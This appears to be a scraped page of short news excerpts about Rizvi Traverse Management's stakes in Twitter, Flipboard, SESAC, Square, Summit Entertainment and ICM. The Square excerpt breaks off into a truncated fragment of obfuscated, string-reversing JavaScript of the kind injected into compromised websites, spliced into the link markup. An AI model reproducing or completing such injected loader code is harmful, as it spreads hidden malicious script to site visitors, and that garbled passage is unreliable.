Some of Twitter Inc.’s biggest and earliest backers said they don’t intend to sell shares when rules barring them to do so expire on May 5, giving the young public company a much-needed vote of confidence after its shares tumbled in recent months. Rizvi Traverse Management LLC, whose 14.4% stake in the company is the… Read more »
Flipboard has confirmed that it raised an additional $50 million, which will close out the Series C round of financing that it brought on in September. In addition to the new funding, Flipboard is also announcing that it has also surpassed the 100-million-user milestone. The additional funding, which was first reported by Fortune, will also be led… Read more »
Prince Alwaleed bin Talal of Saudi Arabia looks like a big Twitter winner. So do the moneyed clients of Jamie Dimon. But as you’ve-got-to-be-joking wealth washed over Twitter on Thursday — a company that didn’t exist eight years ago was worth $31.7 billion after its first day on the stock market — the non-boldface name… Read more »
The largest stake in Twitter Inc. first came together seven years ago at a posh Caribbean resort. On Necker Island, a retreat owned by billionaire Richard Branson, Suhail R. Rizvi, a little-known but well-connected financier, met Chris Sacca, a brash, young Google Inc. executive. Their friendship would later form the foundation of a 15.6% stake… Read more »
(Reuters) – When Twitter goes public in coming weeks, one of the biggest winners will be a 47-year-old financier who guards his secrecy so zealously that he employs a person to take down his Wikipedia entry and scrub his picture from the Internet. Over the past two years, Suhail Rizvi, founder of New York private… Read more »
According to sources close to the situation, Flipboard has raised $50 million in new funding, in a round led by Rizvi Traverse Management and Goldman Sachs. The new funding puts the valuation of the Silicon Valley startup that makes the popular social reading service at $800 million, said sources. Flipboard declined to comment on any… Read more »
WHAT? SESAC, the Society of European Stage Authors and Composers, has a new majority owner in private equity firm Rizvi Traverse. According to reports, Rizvi Traverse paid $600 million for a 75% stake in the company, which would give SESAC an $800 million valuation. Billboard sources say that more likely the price was $450 million… Read more »
Private-equity firm Rizvi Traverse Management LLC has closed a deal to buy a majority stake in music performance-rights company SESAC Inc. for about $600 million, people familiar with the transaction said. Rizvi will buy 75% of SESAC, which represents artists such as Bob Dylan, Neil Diamond and Rush, from owners including boutique investment bank Allen… Read more »
For all of Square’s challenges, raising money has not been one. Square, the mobile payments start-up best known for its pint-size credit card reader, is close to raising roughly $200 million, which would give the company an implied valuation of $3.25 billion, people briefed on the matter said. This financing round is expected to be… $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).revers/” class=”more-link” title=”Read Square Expects New Financing and a Loftier Value”>Read more »
Lions Gate Entertainment Corp. (LGF) acquired “Twilight” producer Summit Entertainment LLC for $412.5 million in cash and stock, uniting two of Hollywood’s largest independent studios. Most of the purchase was funded with cash from Summit, Lions Gate said yesterday in a statement. Both film labels, run from Santa Monica, California, will remain active producers and… Read more »
We haven’t steered our entertainment dollars toward the brooding, mountain-lion-eating vampires of the “Twilight” epics, but we’d certainly be more interested in seeing one if it featured a crossover from the no-nonsense Madea. As expected, Rizvi Traverse Management-backed Summit Entertainment has been sold to Lionsgate. (Fun fact: Lionsgate says its library has 13,000 titles – this means… Read more »
Playboy Enterprises Inc. agreed to be taken private for $207 million by founder Hugh M. Hefner, who increased his bid to gain full control of the 58-year-old magazine publisher amid slumping circulation and losses. Hefner, 84, is offering to buy the Class A stock and Class B shares he doesn’t already own for $6.15 per… Read more »
Like any top Hollywood agent, Jeff Berg is always looking to close a deal. On Tuesday, he sealed one of the biggest of his career by enticing a little-known Connecticut financier to invest about $100 million in Berg’s International Creative Management. Home to such stars as Mel Gibson, Denzel Washington and Jodie Foster, ICM is… Read more »
US talent agency ICM has recapitalized as part of its expansion strategy in a deal financed by Connecticut investor Suhail Rizvi’s Rizvi Traverse Management and Merrill Lynch’s Asset Based Finance Group. Terms of the deal remain confidential. What is known, however, is that the deal will allow agency chief Jeff Berg to develop ICM’s international… Read more »